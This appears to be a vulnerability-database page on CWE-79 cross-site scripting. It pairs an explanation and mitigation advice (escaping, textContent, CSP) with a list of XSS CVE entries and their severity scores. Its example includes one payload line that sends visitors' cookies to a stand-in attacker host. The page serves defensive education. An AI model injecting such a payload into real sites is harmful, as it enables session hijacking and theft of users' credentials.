Fallos del tipo CWE-79

29.691 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-1278MEDIUMEasy Social Feed – Social Photos Gallery – Post Feed – Like Box <= 6.5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2025-2212MEDIUMCastlenet CBW383G2N RgSwInfo.asp cross site scriptingEPSS 0.4%CVE-2024-53966MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-48060HIGHLitestar: HTML Injection Through CSRF TokenEPSS 0.4%CVE-2025-32183MEDIUMWordPress Video Playlist For YouTube plugin <= 6.7.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-45602HIGHWordPress Ebook Store Plugin <= 5.785 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-39017HIGHXSS in all comments fields in M-Files HubshareEPSS 0.4%CVE-2023-32108HIGHWordPress Albo Pretorio Online Plugin <= 4.6.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-23879HIGHCross-Site Scripting (XSS) vulnerability in Cups EasyEPSS 0.4%CVE-2024-23855HIGHCross-Site Scripting (XSS) vulnerability in Cups EasyEPSS 0.4%CVE-2025-32190MEDIUMWordPress Musician's Pack For Elementor plugin <= 1.8.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32170MEDIUMWordPress Motors plugin <= 1.4.71 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-53801MEDIUMWordPress Bold Page Builder plugin <= 5.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-31020MEDIUMWordPress Simple Spoiler plugin <= 1.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2025-32162MEDIUMWordPress Chamber Dashboard Business Directory plugin <= 3.3.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-32109HIGHWordPress Albo Pretorio Online Plugin <= 4.6.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-33984MEDIUMCross-Site Scripting (XSS) vulnerability in NetWeaver (Design Time Repository)EPSS 0.4%CVE-2024-44796HIGHA cross-site scripting (XSS) vulnerability in the component /auth/AzureRedirect.php of PicUploader commit fcf82ea allows attackers to executEPSS 0.4%CVE-2023-32801HIGHWordPress WooCommerce Composite Products Plugin <= 8.7.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-51691MEDIUMCross-Site Scripting (XSS) vulnerability found in MarkTwo commit e3a1d3f90cce4ea9c26efcbbf3a1cbfb9dcdb298 (May 2025) allows a remote attackeEPSS 0.4%